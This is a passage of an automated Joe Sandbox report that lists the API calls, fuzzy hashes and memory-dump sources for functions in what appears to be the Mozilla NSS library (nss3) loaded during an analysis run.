Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 14a3a2973cc8d7cd4f8a08f1a05a85c48203d1a7c2e5d3f62baa9709eda86c06
Instruction ID: e0106ae3175b3b6d3f4990fac7f4f843d37bbd10f1dedf43c25ed83f1a784b60
Opcode Fuzzy Hash: 14a3a2973cc8d7cd4f8a08f1a05a85c48203d1a7c2e5d3f62baa9709eda86c06
Instruction Fuzzy Hash: 22619FB1E042868FDF11CF65C8407EEB7B2EF45208F184165DC25ABB51E7329915CBB1

Function 6CBE8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CBE7313), ref: 6CBE8FBB

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE90F1

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CBE7313), ref: 6CBE906B

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CBE7313), ref: 6CBE9128

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 9f5c726c1ced46cd1756d82f98c7db3e1662cf1f0c4ade5b198ceb790e9df0ea
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 70519371E002419BEB10DF6ADC44B96B3F9EF48B98F154129D915D7752EB31E808CA93

Function 6CB99C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CB98850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CBA0715), ref: 6CB98859
Part of subcall function 6CB98850: PR_NewLock.NSS3 ref: 6CB98874
Part of subcall function 6CB98850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CB9888D

PR_NewLock.NSS3 ref: 6CB99CAD

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

TlsGetValue.KERNEL32 ref: 6CB99CE8
EnterCriticalSection.KERNEL32(?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D01
TlsGetValue.KERNEL32(?,?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D38
EnterCriticalSection.KERNEL32(?,?,6CB9ECEC,6CBA2FCD,00000000,?,6CBA2FCD,?), ref: 6CB99D4D
PR_Unlock.NSS3 ref: 6CB99D70
PR_Unlock.NSS3 ref: 6CB99DC3
PR_NewLock.NSS3 ref: 6CB99DDD

Part of subcall function 6CB988D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBA0725,00000000,00000058), ref: 6CB98906
Part of subcall function 6CB988D0: EnterCriticalSection.KERNEL32(?), ref: 6CB9891A
Part of subcall function 6CB988D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CB9894A
Part of subcall function 6CB988D0: calloc.MOZGLUE(00000001,6CBA072D,00000000,00000000,00000000,?,6CBA0725,00000000,00000058), ref: 6CB98959
Part of subcall function 6CB988D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CB98993
Part of subcall function 6CB988D0: PR_Unlock.NSS3(?), ref: 6CB989AF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 97e55c0794810cd88c31b580bffe22bd37d7975b197adecd6f98c5bed036436e
Instruction ID: b0a121a92e4bd7a511e2224e0e534e22396979157fd97ab811f386daee574dd9
Opcode Fuzzy Hash: 97e55c0794810cd88c31b580bffe22bd37d7975b197adecd6f98c5bed036436e
Instruction Fuzzy Hash: 67514AB0A056558FDB40AF68C08466EBBF4FF46345F158539D898DB721EB30E884CB92

Function 6CC99EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC99EC0
EnterCriticalSection.KERNEL32(?), ref: 6CC99EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99F73
EnterCriticalSection.KERNEL32(?), ref: 6CC99FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CC99FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9A01D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 5157ae91d54141d4bfe3981c86d42ea5accf8fda134219cbbb6a6fde06b6cbe4
Instruction ID: 31baf38305ff4919b03e942ec9b70e837f9e6d115e6af3740bf56a6b84486331
Opcode Fuzzy Hash: 5157ae91d54141d4bfe3981c86d42ea5accf8fda134219cbbb6a6fde06b6cbe4
Instruction Fuzzy Hash: C7519DB2800610DFCB209F25D88468AB7F4FF05319F25C66AD85A5BB52F731F885CB91

Function 6CBA4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA4E90
EnterCriticalSection.KERNEL32 ref: 6CBA4EA9
TlsGetValue.KERNEL32 ref: 6CBA4EC6
EnterCriticalSection.KERNEL32 ref: 6CBA4EDF
PL_HashTableLookup.NSS3 ref: 6CBA4EF8
PR_Unlock.NSS3 ref: 6CBA4F05
PR_Now.NSS3 ref: 6CBA4F13
PR_Unlock.NSS3 ref: 6CBA4F3A

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 38e231f4ca5181ad41c070d68eaf579c9368b3ba91a5fe8d1ed26a80f5a2db28
Instruction ID: 3b5e49d1d68a5966d829121ce03dd02100e63416d5cb967df9c86b1a217b298e
Opcode Fuzzy Hash: 38e231f4ca5181ad41c070d68eaf579c9368b3ba91a5fe8d1ed26a80f5a2db28
Instruction Fuzzy Hash: EF415DB4A04A459FCB00DF78D0848AABBF4FF49304B118569EC99DB711EB30E895CF91

Function 6CB8DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB8DCFA

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB8DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB8DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CB8DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB8DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CB8DD8F

Part of subcall function 6CBA06A0: TlsGetValue.KERNEL32 ref: 6CBA06C2
Part of subcall function 6CBA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CBA06D6
Part of subcall function 6CBA06A0: PR_Unlock.NSS3 ref: 6CBA06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CB8DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CB8DDB7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 09c9577bf4c880e3521485a35a9fefaabf0c13dade27bee579a93abb2bc65256
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 80215EB6E022A69BDF019FA4EC409DEB7B4EF05218F140466ED14A7B11F721ED15CBE2

Function 6CC15F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15F72

Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7ED8F
Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7ED9E
Part of subcall function 6CB7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CB7EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FCC
free.MOZGLUE(?,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FF4
free.MOZGLUE(?,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC16019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC1AADB,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC16036

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: ae94d3a04ef4f9eedca8aa475c3e23f3778ddef9e272d64bcbb0d8199dd0240f
Instruction ID: d450cd7ac8f5ea6ea67703030355dfecf36a13685ee3a667f410e8feea1e966b
Opcode Fuzzy Hash: ae94d3a04ef4f9eedca8aa475c3e23f3778ddef9e272d64bcbb0d8199dd0240f
Instruction Fuzzy Hash: A7214AF1604B409BEA209F75DC48BD777B8AF4174CF100928E46E87A40EB36F019CBA1

Function 6CB83C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CBF460B,?,?), ref: 6CB83CA9
EnterCriticalSection.KERNEL32(?), ref: 6CB83CB9
PL_HashTableLookup.NSS3(?), ref: 6CB83CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB83CD6
PR_Unlock.NSS3 ref: 6CB83CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CB83CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB83D03
PR_Unlock.NSS3 ref: 6CB83D15

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 419d46aa9d177fb6dc3d501f10ba3a6d7ec0aadadc6643b66e1d72f75ff3ad50
Instruction ID: 364dbf640cf9390c45d320436cac7a0dc1209e9243fb1590a10accb8e7663470
Opcode Fuzzy Hash: 419d46aa9d177fb6dc3d501f10ba3a6d7ec0aadadc6643b66e1d72f75ff3ad50
Instruction Fuzzy Hash: E51125B6E01555ABEB112B28EC059AE7B38EF0725CB190130ED1883711FB22E868C7E1

Function 6CB89C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBA11C0: PR_NewLock.NSS3 ref: 6CBA1216

free.MOZGLUE(?), ref: 6CB89E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB89E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB89E4E
TlsGetValue.KERNEL32 ref: 6CB89EA2

Part of subcall function 6CB99500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CB99546

EnterCriticalSection.KERNEL32(?), ref: 6CB89EB6
PR_Unlock.NSS3 ref: 6CB89ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB89F18

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2a321e348d514220d8b0bd4ffc066b0208d4063d75ba62e4b20c230e4bcdbeb4
Instruction ID: 3003652f5944da76a8ebb33140a0cd80f4cd8fd0efbf9af0a75200cb309dc6c8
Opcode Fuzzy Hash: 2a321e348d514220d8b0bd4ffc066b0208d4063d75ba62e4b20c230e4bcdbeb4
Instruction Fuzzy Hash: E581F7B5E01681ABEF009F34DC40AAFB7A9FF55248F144528EC4987B41FB31E918C7A2

Function 6CB9DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CBA1397,5B5F5EC0,?,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB3C
Part of subcall function 6CB9AB10: free.MOZGLUE(D958E836,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB49
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(5D5E6CD9), ref: 6CB9AB5C
Part of subcall function 6CB9AB10: free.MOZGLUE(5D5E6CCD), ref: 6CB9AB63
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB9AB6F
Part of subcall function 6CB9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB9AB76

TlsGetValue.KERNEL32 ref: 6CB9DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CB9DD0E
PK11_IsFriendly.NSS3(?), ref: 6CB9DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CB9DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB9DEA6
PR_Unlock.NSS3(?), ref: 6CB9DF08

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 24996d61558bd6c69256a0b42f43b91ad4e7d2237d3ee2e00271806aa07b7042
Instruction ID: 5aaaa26c2526ed62b7664abd47a1fd34c26fe7d759ed2d2be48cef587a527b5b
Opcode Fuzzy Hash: 24996d61558bd6c69256a0b42f43b91ad4e7d2237d3ee2e00271806aa07b7042
Instruction Fuzzy Hash: 5491D2B5A001419FDF00CF79E881BAEB7B1EF56308F148039D9199B751E731E845CBA2

Function 6CB55FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB560AB
sqlite3_config.NSS3(00000004,6CCA4CA4,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB560EB
sqlite3_config.NSS3(00000012,6CCA4CC4,?,?,6CC3BB62,00000004,6CCA4CA4,?,?,00000000,?,?,6CB131DB), ref: 6CB56122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB56095
misuse, xrefs: 6CB5609F
%s at line %d of [%.10s], xrefs: 6CB560A4

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: b406beab611729ec59fa14d39ce17d7ee63cd18898b2c5b4957f317a5a9b7e7e
Instruction ID: 45a554313c81f58884fa77c48cbd4244261676294643d1786a73b1ee8c656685
Opcode Fuzzy Hash: b406beab611729ec59fa14d39ce17d7ee63cd18898b2c5b4957f317a5a9b7e7e
Instruction Fuzzy Hash: 17B12D74E0468ACFCB08CF68C2809A9F7F0FB1E304B15915DD509AB362E771BA85DB95

Function 6CB04F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB04FC4
